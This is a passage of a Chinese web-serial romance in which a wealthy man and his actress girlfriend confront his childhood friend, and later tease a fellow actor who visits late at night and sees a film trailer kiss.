她换上一条墨色丝绒长裙,领口微露锁骨,发丝微卷,眼尾含情。 黎云笙看着她,眸色渐深:“你故意的。” “对啊。”她踮脚,在他唇上轻啄一下,“我要让她知道,你现在看的人,是我。” 没过多久,门铃响了。 黎云笙亲自去开门。 苏婉站在门外,一袭红裙,开叉高至大腿根,裙摆如火般铺展,衬得她身姿婀娜,香水味浓郁,妆容精致得连睫毛都根根分明。 她看到黎云笙的瞬间,眼底亮得惊人,嘴角扬起一抹娇媚的笑:“云笙,我来了。” 可下一秒,她笑容僵住。 温栩栩从客厅走来,手里端着一杯红酒,笑意盈盈:“苏小姐,又见面了。” 苏婉的脸色瞬间变了:“你……你怎么在这?” “这是阿笙的家。”温栩栩语气自然,像在说“今天天气不错”,“我在这,很奇怪吗?” 苏婉猛地看向黎云笙:“你叫我来……是为了见她?” “对。”黎云笙关上门,声音平静,“我叫你来,就是为了让你知道,现在站在这里的人是温栩栩。不是你。” 苏婉脸色惨白:“云笙,你……” “苏婉。”黎云笙第一次,如此清晰地叫她的名字,带着疏离与决断,“我们从小一起长大,你父亲救过我爷爷,这份恩情,我一直记着。所以我给你资源,建公司,压热搜,可这些,从来不是因为爱。” 苏婉站在原地,突然觉得自己像极了小丑。 她接到黎云笙电话时,心口猛地一跳,指尖都在发抖。 她以为,是终于等到了这一天,他终于想通了,终于要回头了。 她翻出最贵的红裙,是意大利定制,高开叉,露背,衬得她腰细腿长。 她一层层上妆,眼线画得格外精致,唇色是黎云笙最喜欢的玫瑰豆沙红。 她喷了他送的那瓶香水,一滴不剩,像是要把自己所有的好,都压在这一次见面里。 她赶过来,连司机都催了三遍,高跟鞋踩在地毯上,脚步轻得像在做梦。 可门一开,梦就碎了。 温栩栩就站在那,墨色丝绒长裙,发丝微卷,眼尾还带着情动未散的红,唇瓣微肿,像是刚被吻过。她懒懒地靠在黎云笙肩上,手里端着酒杯,笑意温柔,却像刀子一样,一刀一刀剜进苏婉的心口。 她是主人。 而苏婉,是那个被“请”进来,听宣判的外人。 “云笙……”她声音发颤,指尖攥紧了手包,“你叫我来,就是为了这个?” 黎云笙看着她,眼神平静得像深潭,没有厌恶,没有怒意,也没有心疼,什么都没有。 那种彻底的冷漠,比任何斥责都更伤人。 “苏婉。”他声音很淡,“我叫你来,是想让你知道,温栩栩是我认定的人。以后,别再针对她。” “可我……”苏婉眼眶红了,“我针对她?是她先抢了你!是她温栩栩,一个孤儿院出来的孤女,什么都没有,凭什么站在你身边?我呢?我苏家再落魄,也是京城世家,我跟你一起长大,我为你做了那么多事,你为什么……为什么就是看不见我?” 她声音颤抖,带着哭腔,像在求一个答案,可她知道,没有答案。 温栩栩轻轻笑了。 她挽住黎云笙的手臂,指尖轻轻摩挲着他腕表的表盘,动作亲昵又挑衅。她看着苏婉,眼神里带着怜悯,又带着胜利者的从容:“苏小姐,叫你过来,当然是因为我不懂事了。” 她顿了顿,声音软糯,像在撒娇:“我跟阿笙闹脾气,说他跟苏婉关系不清不楚,我吃醋了,我难过,我胡闹了。阿笙拗不过我,才说要请你过来,当面说清楚。实在不好意思啊……” 她眨了眨眼,睫毛轻颤:“阿笙就是太在意我了。他担心我生气,担心我难过,所以哪怕深夜,也要把你叫来。你可以理解的,对吧?毕竟……”她抬眸,看向黎云笙,眼神柔得能滴出水,“一旦喜欢一个人,就会心疼她,是不是?阿笙?” 黎云笙低头看她,眸色深沉,忽然伸手,将她发丝别到耳后,动作温柔至极:“嗯,我心疼你。” 苏婉看着这一幕,心口像被生生挖空。 她看着黎云笙的眼神,那眼神里,有温栩栩,有温柔,有占有,有不容置疑的坚定。 而她苏婉,连影子都不是。 第1529章 霸权主义 她忽然笑了,笑得凄厉:“好,好一个心疼你。温栩栩,你赢了。你靠一张脸,靠撒娇,靠装可怜,就把我十几年的感情,踩在脚下。” “感情?”温栩栩挑眉,笑意不减,“你对黎云笙,是感情?可你每次针对我,买通狗仔,放黑料,找人演我被潜规则的戏,那也是你对阿笙的感情?苏婉,你别把执念,说成爱。” “你!”苏婉脸色煞白。 “你走吧。”黎云笙终于开口,声音冷得像冰,“以后,别再出现在她面前。否则,我不再只是警告。” 苏婉站在原地,像被钉住。 她看着他们,一个冷漠,一个得意,一个把她彻底剔除出局。 她忽然明白,她不是输给了温栩栩。 她是输给了黎云笙的心。 他从来就没给过她,可她却傻傻地等了这么多年。 她转身,高跟鞋踩在地毯上,没有发出一点声音。 门轻轻合上。 温栩栩靠在黎云笙怀里,轻声问:“我刚才是不是太坏了?” 他吻她发顶,“嗯,光明正大的坏,坏的很可爱。” 她笑了,笑得像只终于回到窝里的猫。 温栩栩当然不会同情苏婉。 她看着那扇缓缓合上的门,唇角微扬,笑意却未达眼底。 她太清楚苏婉的骄傲,也太清楚她那些年是如何在她面前耀武扬威。 可现在呢? 现在是她温栩栩,站在黎云笙的怀里,穿着他亲手为她挑的墨色丝绒长裙,发丝还带着他指尖的温度,而苏婉,是那个被“请来”听宣判的人。 她终于知道,谁才是被黎云笙真正放在心上的人。 温栩栩转过身,指尖勾住黎云笙的衣领,脚尖微踮,主动吻了上去。 她的吻带着点甜意,又夹杂着一丝挑衅的意味,像在宣告主权,又像在邀功。 “刚才解释得不错,”她笑眯眯地看他,眼尾泛着水光,“奖励你亲亲。” 黎云笙低笑,眸色渐深,不等她退开,便反手扣住她后颈,将她按回怀里。 他的吻来得凶,带着不容拒绝的力道,温栩栩呜咽一声,指尖下意识揪住他衬衫,双腿发软,几乎站不住。 他搂着她的腰,吻得更深,像要把她整个人揉进骨血里。 温栩栩被亲得眼睛泛红,泪水在眼底打转,像只被欺负狠了的小猫,却还倔强地不认输。 “不够。”他终于松开她,嗓音沙哑,呼吸灼烫,“一个吻,不够。” 温栩栩喘着气,靠在他怀里,脸颊滚烫:“你……你这是耍赖。” “我向来如此。”他低头,吻她耳垂,轻轻啃咬,惹得她轻颤,“你不是最清楚?” 她咬唇,想瞪他,可眼神却软得像水。 她知道他是什么人,表面冷峻寡言,实则霸道至极。 他可以为她压下所有风波,也可以为她亲手斩断过往,但前提是,她必须只属于他。 “对了,”她忽然想起什么,两条手臂抱着他的脖子,轻轻晃了晃,声音软糯,“苏婉的事解释清楚了,那墨澜的事呢?你不是说,还没跟我算?” 黎云笙眯起眼,指腹摩挲着她红肿的唇:“多好解释?叫他过来当面问。” 温栩栩眨了眨眼,故意拖长尾音:“可今晚是《灵媒》杀青宴,墨澜还在晚宴上呢。你总不能这个时间把他叫来吧?那也太不当人了……” “不当人?”黎云笙挑眉,语气带着调侃,“那苏婉一个女人,深夜能来,墨澜一个男人,深夜就不方便了?” 温栩栩一噎,赶紧摆手:“我真不是这个意思!我的意思是,杀青宴我这个女主角都跑了,你总得给秦导留个男主角撑场子吧?不然明天头条估计都要跟我和墨澜有关了,说不定还要把锅甩到我身上,我可不想背锅。” 黎云笙盯着她,忽然笑了。 他伸手将她打横抱起,温栩栩惊呼一声,下意识搂住他脖子。 “你干嘛?” “打电话。”他步伐稳健地走向书房,声音低沉,“让墨澜,立刻、马上、亲自来解释。” 温栩栩瞪大眼:“你认真的?” “我从不开这种玩笑。”他将她放在书房的单人沙发上,自己坐在她身侧,修长的手指已经按下拨号键。 温栩栩看着他,忽然笑了,笑得狡黠又得意:“黎云笙,你这是在吃醋。” “对。”他坦然承认,目光灼灼,“我就是吃醋。我就是不想看你跟别的男人有说有笑,我就是想把你锁在身边,不让人看,不让人碰,不让人想。” 温栩栩心跳加速,脸颊更红。 温栩栩听着那语气,忍不住小声嘀咕:“霸权主义。” 黎云笙挑眉,直接点头:“嗯,对我就是霸权主义。” 温栩栩哼了一声,扭头不理他,小声补了句:“讨厌。” “刚才还说喜欢,现在就说讨厌?”他伸手将她捞回怀里,吻落在她颈侧,带着点惩罚的意味。 温栩栩被亲得浑身发软,指尖揪住他衬衫:“可恶……更讨厌了。” “可你明明在笑。”他低笑,吻住她,声音在唇齿间破碎,“明明就是喜欢,哪里是讨厌。” 温栩栩哼了一声,别过脸去,可嘴角的弧度却怎么都压不住。 她知道他在笑她嘴硬,可她偏不认。 黎云笙太了解她了,知道她一得意就爱翘尾巴,一撒娇就爱装凶,可他就是纵着她,由着她闹,像哄一个永远长不大的小孩。 “嘴硬。”黎云笙大手捏了捏她的后颈,指腹摩挲着那片细腻的肌肤,动作带着不容抗拒的掌控感,“别闹,我打给墨澜。” “别啊!”温栩栩赶紧翻出自己的手机,指尖飞快地在微信上敲字,“我先问问他在不在杀青宴。” 黎云笙挑眉,没拦她,只是靠在书桌边,双臂环胸,目光沉沉地盯着她,像在看她还能耍出什么花样。 温栩栩点开和墨澜的对话框,发了条微信:【还在现场吗?】 不过几秒,对方就回了:【不在,刚溜了,先撤为敬。】 黎云笙猜对了,人还真跑了。 温栩栩给他发微信让他来一趟,墨澜回了个问号。 墨澜:【孤男寡女的,大晚上的,温栩栩你脑子真的还正常吗,真的知道自己在做什么吗,我是墨澜不是黎云笙,你是不是找错人了?】 温栩栩赶紧就把墨澜的回复给黎云笙看了,就差把手机怼他脸上了。 “你快看快看快看!快看墨澜的回复!我们就是正常的朋友关系!真要有其他关系早就直接过来了!清清白白!” 第1530章 只对你耍赖 温栩栩是真的不希望黎云笙误会自己跟墨澜。 天地可鉴,她跟墨澜之间清白得就像一张刚出厂的A4纸,连个墨点都没有。 可黎云笙这人,表面上冷峻矜贵,实则占有欲强得吓人,心思也细腻得可怕。他认准的事,九头牛都拉不回来。 “你真的想多了。”温栩栩仰起小脸,眼眸清澈,“我跟墨澜能有什么关系?工作伙伴?饭搭子?顶多算个戏里的‘意难平’?” 黎云笙靠在沙发上,长腿交叠,姿态慵懒而优雅。 他挑了挑眉,那眼神分明在说:哦?继续编。 温栩栩被他看得心头火起,一时间口不择言:“实在不行……我跟他桃园三结义不行吗?我跟他能有什么见不得人的关系?你就是疑心病犯了!” 她说得信誓旦旦。 黎云笙闻言,非但没有生气,反而低低地笑了起来。那笑声从胸腔震动而出,带着磁性的震颤,性感得要命。 他伸手,修长的手指捏住她小巧的下巴,强迫她与他对视。 “桃园三结义?”他尾音上扬,带着几分戏谑,“那不是需要三个人?是不是还少了一个?” 温栩栩:“……” 她差点被自己的口水呛到。这人怎么专挑重点抓? “那……那实在不行就加上盛景炎!”温栩栩脑子一热,脱口而出,“反正我们几个之间干干净净,清清白白,连点暧昧的火星子都没有!这下你总信了吧?” 她一边说,一边在心里疯狂给盛景炎道歉。 黎云笙看着她这副为了“自证清白”而手舞足蹈的样子,眼底的笑意深了几分。 他非但没有被说服,反而觉得她这副急着撇清关系的模样可爱得紧。 他伸出手,指尖轻轻捏了捏她柔软的脸颊,像是在揉捏一只炸毛的小奶猫:“嗯,听起来是个不错的主意。那就让他来一趟,把这‘结义’的仪式给补上。” 温栩栩捂着被他捏过的脸,一脸控诉:“黎云笙你不要太离谱啊!大晚上的,把人家一个大影帝叫来家里结拜,你不怕他以为你疯了,我还要脸呢!” “离谱?”黎云笙歪了歪头,面上虽然带着点笑意,那双深邃的眼眸却紧紧锁着她,眼神里透着不容拒绝的强势,“比起你刚才把苏婉叫来‘解释清楚’,我这要求不过分吧?” 他顿了顿,声音压低了几分,带着点蛊惑的意味:“还是说……你心疼他?怕他大半夜跑一趟辛苦?” 最后一句,醋意简直要溢出来。 温栩栩心里咯噔一下,暗道不好。 她刚才为了试探黎云笙,故意作妖把苏婉叫来,现在黎云笙以其人之道还治其人之身,她要是再推三阻四,反倒显得心虚,好像真跟墨澜有什么不可告人的秘密似的。 这可不行。 她跟墨澜,必须是清清白白的。 “好吧好吧,你赢了。”温栩栩举手投降,嘴角却悄悄勾起一抹看好戏的弧度,“那就只能辛苦墨澜老师,专门跑一趟了。” 说着,她拿起手机,指尖在墨澜的对话框里敲敲打打,那语气,活像个等着看大戏的始作俑者。 黎云笙看着她那副小得意的样子,无奈地摇了摇头。 他太了解她了,她这哪里是怕他误会,分明是仗着他的宠爱,在这肆无忌惮地撒欢呢。 不过也好。 比起那个在他面前小心翼翼、总是带着防备的温栩栩,他更喜欢现在这个,会为了他吃醋、会耍小聪明、会仗着他的喜欢而为所欲为的温栩栩。 这说明,她正在一点点地,把心交给他。 指尖在屏幕上悬停了片刻,温栩栩才慢悠悠地打下一行字。 黎云笙也不催她,只是饶有兴致地看着她。他注意到,她打字时,舌尖会无意识地轻抵着下唇,那双漂亮的眸子在手机屏幕的光线下,忽闪忽闪的,像藏着星星。 “怎么?怕我抢你的手机?”他忽然倾身靠近,灼热的气息喷洒在她的颈侧。 温栩栩被吓得肩膀一缩,手机差点脱手。她瞪他一眼:“你干嘛突然凑这么近?吓我一跳!” “我不光要凑近,”黎云笙低笑,手臂顺势环住她的腰,将她整个人圈在怀里,下巴抵在她的头顶,“我还要监督你发什么。” 他的声音低沉磁性,带着微微的震动,透过她的脊背,直接传到她的心尖上,酥酥麻麻的。 温栩栩被他圈得动弹不得,鼻尖全是属于他的清冷木质香气,混合着淡淡的烟草味,让她有些心猿意马。她推了推他坚实的胸膛,嘴硬道:“谁要你监督了?我又不会乱说话。” “是吗?”黎云笙尾音上扬,一只手已经探进她的衣摆,温热的掌心贴在她细腻的腰侧,“那我看看,你是不是在跟墨澜发什么‘求救信号’。” “黎云笙!”温栩栩惊呼一声,腰肢被他摸得发痒,整个人都软了下去,“你耍赖!” 她笑得花枝乱颤,哪里还有半分刚才的伶牙俐齿。 “我只对你耍赖。”黎云笙看着她笑得眼眸弯弯、脸颊绯红的样子,眼神愈发深邃。他俯身,在她耳边低语,声音暗哑:“等墨澜来了,我再好好跟你算账。” 算什么账? 算她今天让他吃醋的账。 还是算他现在就想把她拆吞入腹的账? 温栩栩没听懂,或者说,她现在满脑子都是他掌心的温度,根本没空去深究这句话里的深意。 反正现在不管黎云笙干什么,温栩栩都觉得这人脑门都贴了四个大字“不是好人”。 墨澜这会儿人已经在小吃街了。 作为娱乐圈里出了名的“不务正业”影帝,墨澜虽然是含着金汤匙出身的少爷,但身上却半点没有豪门贵公子的娇气。 他不喜欢那些动辄人均五位数的高级晚宴,反倒对烟火气十足的小吃街情有独钟。 华庭的精致点心他能吃,路边摊的烤串啤酒他也能咽得津津有味。 从《灵媒》的杀青宴上溜出来,对墨澜来说简直就已经是家常便饭。 第1531章 这是又怎么他了? 这种场合他早就腻了,无非是导演敬制片,制片敬资方,资方再回头敬导演,一圈下来,真正想吃的东西一口没吃着,还得维持着得体的微笑,比拍一整天戏还累。 而且这次导演还是秦导,太熟了,他更是不给面子的跑了。 这会儿,他正站在一家口碑极好的烧烤摊前,深吸着空气中孜然与辣椒面混合的诱人香气,心情无比舒畅。 他刚点了一大把羊肉串、其它的都还没点呢,正寻思着找个地儿坐下,手机就震动了起来。 是温栩栩发来的微信。 墨澜挑了挑眉,点开一看,差点没笑出声。 【救命!墨澜救命!速来!江湖救急!】 墨澜靠着摊位的桌子,修长的手指在屏幕上敲打:【温小姐,你是不是搞错了?大晚上的,孤男寡女,你让我去你那儿?温栩栩,你脑子真的还正常吗?我是墨澜,不是黎云笙,你是不是找错人了?】 他发完这条消息,甚至还配上了一个“摸鱼翻白眼”的表情包。 在他看来,温栩栩这绝对是喝多了在发酒疯。 他可不想大晚上的跑去一个单身女性的住处,万一被狗仔拍到,或者被黎云笙那个占有欲强得可怕的家伙知道了,他就算有一百张嘴也解释不清。 然而,温栩栩的消息回得很快。 【黎云笙也在!】 墨澜看着这三个字,愣了两秒。 哦,那行吧。 既然黎云笙也在,那性质就不一样了。 这就不算是孤男寡女共处一室,顶多算是一场深夜友人局。 说不定三个人还能斗斗地主,聊聊剧本,或者谈谈下一季度的时尚趋势。 这么一想,墨澜心里的那点顾虑瞬间烟消云散。再说,他们马上就要进组拍《掌心宠爱》了,提前跟女主角沟通一下感情,熟悉一下彼此的节奏,也不是什么坏事。毕竟,他们要在剧里扮演一对历经磨难的欢喜冤家,私下里关系太僵也不利于创作。 “行,我一会儿就到。”他给温栩栩回了个语音,语气轻松。 …… 电梯门“叮”的一声打开,墨澜整理了一下微皱的衬衫下摆,提着夜宵,心情颇好地走向那扇厚重的实木大门。 他刚想按门铃,门却从里面拉开了。 开门的是黎云笙。 黎云笙就那么站在玄关处,身上是一件剪裁得体的黑色丝质睡袍,腰带松松地系着,衬得他身形愈发挺拔修长。他刚洗过澡,发梢还滴着水,有几缕湿发贴在光洁的额头上,平日里一丝不苟的冷峻气质被冲淡了些许,却依旧不怒自威。 但真正让墨澜感到不对劲的,是黎云笙的眼神。 那眼神……怎么说呢? 如果眼神能化为实体,墨澜觉得自己现在身上恐怕已经千疮百孔了。 那是一种混合了审视、敌意,以及一种“你最好给我一个合理解释”的冰冷目光。仿佛他不是来送温暖的友人,而是来撬他墙角的敌人。 墨澜心里“咯噔”一下。 【我这是又怎么他了?】 墨澜在心里疯狂吐槽。 他自问最近没得罪过这位黎大少爷啊? 《灵媒》他安安分分的拍完了,《掌心宠爱》的剧本他也积极配合,就连上次温栩栩被黑,他还在微博上帮忙转发澄清来着。 墨澜到底是影帝,脸上瞬间挂上了职业性的、无懈可击的微笑,仿佛没看到对方眼里的刀子,“这么晚打扰,实在不好意思。我刚巧在附近……呃,吃烧烤,就顺便给你们带了点夜宵。” 他说着,把手里提着的纸袋往前递了递。 黎云笙的目光从他的脸上,缓缓移到他手里的纸袋上,又从纸袋上,移到他身后空无一人的走廊。 墨澜被他看得头皮发麻,心里的无语已经达到了顶峰。 就在墨澜几乎要维持不住脸上微笑的时候,黎云笙终于侧身,让开了门口的位置,声音冷淡:“进来。” 墨澜面无表情的进去。 客厅里的氛围比门口稍微好那么一点点,至少温栩栩在。 温栩栩正盘腿坐在巨大的L型沙发上,怀里抱着一个羊绒抱枕,面前的茶几上摆着一壶热茶和几个精致的茶杯。 她穿着一身柔软的居家服,头发松松地挽在脑后,几缕碎发垂在耳边,看起来惬意又悠闲。 “墨澜,你来啦!”她一看到墨澜,眼睛就亮了,语气里带着几分如释重负,“快坐快坐!黎云笙他刚才还说你不一定会来呢。” 墨澜把夜宵放在茶几上,拉开温栩栩旁边的沙发坐下,故作轻松地笑道:“我这不是来了?我还特意带了点‘救命粮’。” 他说着,开始从纸袋里往外掏东西:“老板特意烤的羊肉串,绝对新鲜。还有这个,烤生蚝,补……呃,补充体力。这两杯酸梅汤是给你们解腻的。” 温栩栩歪头看了看,这个时间确实有点馋了,其实温栩栩一直都在做身材管理,但是她年轻,代谢快……而且吃点东西再运动运动也不会胖的吧。 黎云笙却在这时,端起一杯热茶,慢条斯理地吹了吹,然后轻啜了一口。他的动作优雅矜贵,仿佛面前摆着的不是烧烤,而是一场米其林三星晚宴。 墨澜有点随意的给自己倒了杯茶,还没送进嘴里,下一秒就看到温栩栩刚才在看的电影频道,不知为何,自动切回了点播界面,而点播界面的首推,赫然就是《灵媒》的终极预告片。 墨澜手里的羊肉串僵在了半空中。 电视屏幕上,画面一闪,正是《灵媒》里最经典,也是最让墨澜此刻想找个地缝钻进去的一幕。 画面里,他饰演的男主角,一身玄色道袍,神情冷峻,眼神里却翻涌着化不开的深情。他将温栩栩饰演的女主角抵在斑驳的古墙边,一只手扣着她的手腕,另一只手则轻轻抚上她的脸颊。 背景音乐是凄美婉转的笛声,镜头缓缓拉近,空气中仿佛都弥漫着荷尔蒙的气息。 “你我,本不该有牵绊。”男主角的声音沙哑而克制。 第1532章 真成笑话了? 电视上演的就是灵媒的预告片,眼看着下一秒是温栩栩扮演的女主角开口了。 “可若注定有牵绊,我愿逆天而行。”女主角的声音轻颤,眼眸里水光潋滟。 然后,在预告片激昂的BGM高潮处,男主角低下头,狠狠地吻住了女主角。 那个吻,拍了整整三个小时,NG了七次,是墨澜从业以来,拍过的最投入、最深情,也最……尴尬的一个吻。 此刻,这个吻正以4K高清的画质,在黎云笙家的客厅里,被无限放大。 墨澜:“……” 墨澜没忍住,又“啧”了一声。 他拿着羊肉串,僵硬地扭过头,用一种“你看看,这真不怪我”的眼神,看向黎云笙。 黎云笙已经放下了茶杯。 他整个人陷在沙发的阴影里,俊美的侧脸轮廓在电视屏幕变幻的光影下,显得愈发深邃莫测。 他的目光没有看墨澜,而是紧紧盯着电视屏幕,看着上面那个正在亲吻他女朋友的墨澜。 空气,仿佛在这一刻凝固了。 温栩栩看看电视,看看黎云笙,又看看墨澜,忽然觉得手里的羊肉串不香了。 墨澜在心里把“倒霉”两个字来回刷了八百遍。 【行吧行吧,怪不得黎云笙刚才看我的眼神那么不善。】 【换我,我也受不了。】 【谁能受得了,看着自己的女朋友在大屏幕上被另一个男人按在墙上亲】 【这心理素质,得是铁打的吧!】 墨澜默默地把手里的羊肉串放回纸袋里,清了清嗓子,试图解释:“那个……黎总,这都是为了艺术。拍戏的时候,导演要求投入,我就……投入了一下。你别介意,真的,我跟栩栩在剧组,绝对清白。” 他说得诚恳,眼神里却带着一丝只有男人才懂的促狭。 黎云笙终于动了。 他缓缓地转过头,目光从电视屏幕上那对拥吻的男女身上移开,重新落在墨澜的脸上。那眼神,比刚才更冷了。 “艺术?”黎云笙的声音低沉,听不出喜怒。 “对,艺术!”墨澜硬着头皮点头,“而且,栩栩刚才不是给你看过剧本了吗?《掌心宠爱》里,我们也有吻戏啊!而且不止一场!” 他这话,本意是想告诉黎云笙,你看,我们以后的尺度会更大,你现在要是介意这个,那以后可怎么办? 但话一出口,他就后悔了。 因为他看到,黎云笙的眉头,几乎不可察觉地皱了一下。 温栩栩则是在一旁,差点没把嘴里的羊肉串喷出来。 电视屏幕上,预告片结束了,开始播放下一部电影的广告。 客厅里,只剩下墨澜咀嚼羊肉串的微小声音,和黎云笙那几乎要将他凌迟的冰冷视线。 墨澜一边嚼着羊肉串,一边在心里把温栩栩骂了八百遍。 【江湖救急?我看是江湖追杀令吧!】 然而,就在墨澜以为自己要被黎云笙的眼神杀死时,黎云笙忽然开口了。 他的声音依旧冷淡,却带着一种不容置疑的掌控力。 “吃完了?”黎云笙看着墨澜,“那就聊聊正事。” 墨澜一愣:“聊什么正事?” 黎云笙的目光落在他身上,一字一句,清晰地说道:“聊聊,你和栩栩,在《掌心宠爱》里的那些吻戏。” 墨澜:“……” 墨澜手里的羊肉串,终于彻底掉在了纸袋里。 他完了。 他真的完了。 这哪里是来吃烧烤的? 这分明是羊入虎口,自投罗网啊! 温栩栩觉得嘴里的烤串瞬间就不香了。 那块鲜嫩多汁的羊肉此刻在她嘴里,味同嚼蜡。 她甚至能清晰地感觉到空气中的温度,随着电视里那个激吻镜头结束,骤然降到了冰点。 秦导!天杀的秦导! 温栩栩在心里把《灵媒》的导演翻来覆去地骂了八百遍。 今晚不是杀青宴吗?你到底是有多闲?为什么要在这个节骨眼上发布预告片? 你是生怕我今晚死得不够快吗? 温栩栩只觉得眼前一黑,又一黑。她感觉自己就像一个在期末考试前夜还在打游戏的学生,突然发现考试现在就开始了。 她心虚地用眼角的余光偷偷瞥向身边的黎云笙。 黎云笙侧着身子,正似笑非笑地看着她。那眼神深邃得像一口古井,表面上波澜不惊,甚至还带着点笑意,可温栩栩就是能从那笑意里品出森森的寒意。 温栩栩被他盯得头皮发麻,后背发凉。 她觉得自己现在必须得说点什么,做点什么,来打破这令人窒息的沉默。哪怕只是解释一下那个吻是借位,是特效,是导演硬掰着他们的头凑到一起的也好啊! 可她刚张开嘴,还没发出声音,黎云笙那带着凉意的目光就让她把所有辩解的话都咽了回去。 算了,解释就是掩饰,掩饰就是编故事。 她默默地低下头,假装专注地研究自己手里的这串烤串,仿佛那上面长了一朵花。 墨澜把这两人之间的眼神拉锯战从头看到尾,墨澜心里苦啊,他觉得自己比窦娥还冤。他就是来救场的,怎么感觉现在自己成了那个破坏人家家庭和睦的罪魁祸首了? 这就好比,他好心去朋友家帮忙修水管,结果水管爆了,朋友不怪水管老化,反而怪他手太重。 就在墨澜思考着要不要假装接到一个紧急电话,然后火速逃离这个是非之地时,温栩栩终于有了动作。 她干咳一声抬起头,眼神飘忽,看看天花板,看看地毯,就是不敢看黎云笙,最后,那目光终于落在了墨澜身上。 她的眼神里充满了“哀求”和“歉意”,还有一丝不容置疑的“逐客令”。 “那个……墨老师,”温栩栩艰难地开口,声音轻得像蚊子叫,“时候不早了,要不……您先走一步?” 墨澜:“?” 墨澜瞪大了眼睛,一脸不可置信地看着温栩栩。他感觉自己受到了天大的侮辱。 他这才来就让他走?那他不是真成笑话了吗? 她当然知道理亏,可她也没办法啊!她总不能为了留下墨澜,得罪了黎云笙吧?那她以后的日子还过不过了? 第1533章 你属狐狸的吗 墨澜被她这理直气壮的模样给气笑了。 他冷笑一声,看向温栩栩的眼神充满了控诉,“温栩栩,你当我是什么?外卖小哥吗?随叫随到,送完餐还得把剩饭剩菜带回去?” “也不是不可以。”一个淡淡的声音从旁边插了进来。 墨澜转头一看,黎云笙正端着那杯茶,姿态优雅地轻啜一口,仿佛刚才那句诛心之论不是他说的。 墨澜:“?” 不是,大哥,你老婆让你赶我走,你不但不拦着,还在旁边敲边鼓?你这到底是有多想让我滚啊? 墨澜觉得自己作为影帝的尊严受到了前所未有的挑战。 他刚想开口反驳,黎云笙却撩起眼皮,又补了一刀,语气平淡得像在讨论今天的天气:“送菜的。” 墨澜:“……” 墨澜觉得自己被侮辱了,而且是被这两个人合伙侮辱了。 他堂堂影帝,多少品牌争着抢着要的代言人,现在在黎云笙嘴里,就成了一个“送菜的”? 更可气的是,他竟然觉得黎云笙这个逻辑……有点道理。 大概就是,黎云笙是皇帝,温栩栩是皇后,他就是那个大半夜提着食盒进宫给主子们送夜宵的御膳房杂役。 【谈个恋爱了不起吗?】 【哦,对,是了不起。毕竟我不是黎云笙,我没有这么大的房子,也没有这么漂亮的女朋友,所以我活该是个送菜的。】 墨澜在心里疯狂地自我攻略,试图找回一点心理平衡。 他深吸一口气,决定不能就这么认输。他好歹也是个有脾气的影帝,不能让人觉得单身狗就好欺负。 他看向黎云笙,努力挤出一个微笑:“黎总,我好歹也是个公众人物,你这么说我,就不怕我明天发微博曝光你?” 黎云笙放下茶杯,目光平静地看着他,那眼神仿佛在看一个不懂事的小孩:“曝光我什么?曝光你大半夜提着烧烤来我家,然后被我赶走?丢脸的是谁?” 温栩栩在一旁听着,差点没忍住笑出声,但看到黎云笙那张冷脸,又赶紧憋了回去。 墨澜被黎云笙怼得哑口无言,一口气堵在胸口,上不去下不来。 他觉得自己被冒犯了,被深深地冒犯了。但他偏偏又没办法反驳,因为黎云笙说的是事实。他确实是大半夜提着烧烤来的,而且现在也确实有被“赶走”的趋势。 他其实还挺明白黎云笙这逻辑的。 大概就是,黎云笙觉得自己有女朋友,而他墨澜是个单身狗,所以在嘲讽他是年纪大没恋爱可谈的“菜狗”。 谈个恋爱了不起吗? 了不起,真的了不起。 “黎云笙,你别太得意。”墨澜忍不住开口道:“我不谈恋爱,是因为职业原因!我们这行,恋情曝光影响粉丝黏性,你懂不懂?这叫职业素养!” 他说得振振有词,仿佛自己真的是为了几千万粉丝的饭碗,才不得不牺牲自己的幸福。 黎云笙听完,淡淡地“嗯”了一声,那语气,充满了敷衍和不以为然。 他甚至懒洋洋地换了个坐姿,长腿交叠,眼神里带着一丝玩味:“哦?职业原因?那你可以换个职业。” 他顿了顿,像是突然想起了什么有趣的事情,眼神在墨澜身上扫视了一圈,慢条斯理地问道:“说起来,你是属什么的?十二生肖里面有狐狸吗?” 墨澜:“……” 空气,仿佛在这一刻凝固了。 温栩栩猛地抬起头,看向黎云笙,又看向墨澜,眼神里充满了震惊和……想笑。 墨澜的脸色,则是精彩纷呈。从白到红,从红到青,最后定格在一种“你竟敢骂我”的愤怒和“我竟无言以对”的憋屈之中。 墨澜当然听懂了黎云笙的潜台词。 他刚才说自己不谈恋爱是因为职业原因,这在圈子里是公认的理由,但也是个烂大街的借口。 大家都心知肚明,很多明星不谈恋爱,纯粹是因为没遇到合适的,或者不想谈。 黎云笙这话,就是在讽刺他。 墨澜觉得自己被冒犯了。 墨澜感觉自己要是再待下去非得被黎云笙这阴阳怪气的劲儿给活活气死。 黎云笙却已经懒得再看他,转过头,温柔地替温栩栩把一缕掉下来的头发别到耳后,语气宠溺:“这个生蚝凉了就不好吃了,快吃。” 那前后的态度,判若两人。 墨澜看着那对在他面前公然秀恩爱的男女,忽然觉得,自己就像一个误入人家烛光晚餐的电灯泡,还是那种瓦数特别高,特别亮,特别碍眼的。 他深吸一口气,决定不跟这个有了女朋友就六亲不认的家伙一般见识。 “行,你们俩口子厉害。”墨澜咬牙切齿地站起身,拍了拍裤子,“这烧烤你们慢慢吃,我还有事,先走了!” 他现在只想赶紧逃离这个充满“酸臭味”的地方。 黎云笙却在他转身的那一刻,又悠悠地补了一句:“慢走不送。对了,电梯密码是栩栩的生日。” 墨澜:“……” 墨澜的脚步一个踉跄,差点没摔倒。 温栩栩的生日? 所以,我不仅是个送菜的,我连人家的电梯密码都得记着? 黎云笙,你个狠人! 温栩栩看着他的背影,终于忍不住,“噗嗤”一声笑了出来。 她凑到黎云笙耳边,小声说:“你太过分了,墨澜都被你气坏了。” 黎云笙揽着她的腰,将她带进自己怀里,低头在她唇上啄了一下,眼神里满是得意:“谁让他在预告片里亲你。” 而那边,墨澜手搭在门把手上,准备逃离这个是非之地。 他刚要开门,忽然又停住了。 他转过身,看着沙发上那对抱在一起的男女,一脸严肃地说道:“那个……电梯密码,是多少来着?我忘了。” 黎云笙:“……” 温栩栩:“……” 空气再次凝固。 黎云笙忍不住开口说:“电梯密码是温栩栩的生日。” 墨澜盯着他看了几秒觉得头疼的开口:“你该不会觉得我知道你女朋友的生日吧,温栩栩生日是哪一天我还真不知道。” 黎云笙轻啧一声报了一串数字,墨澜应了一声,这次是真的头也不回的走了。 再留下来指不定要怎么被这俩没下限的人秀恩爱呢,墨澜可受不住这个。 第1534章 算账 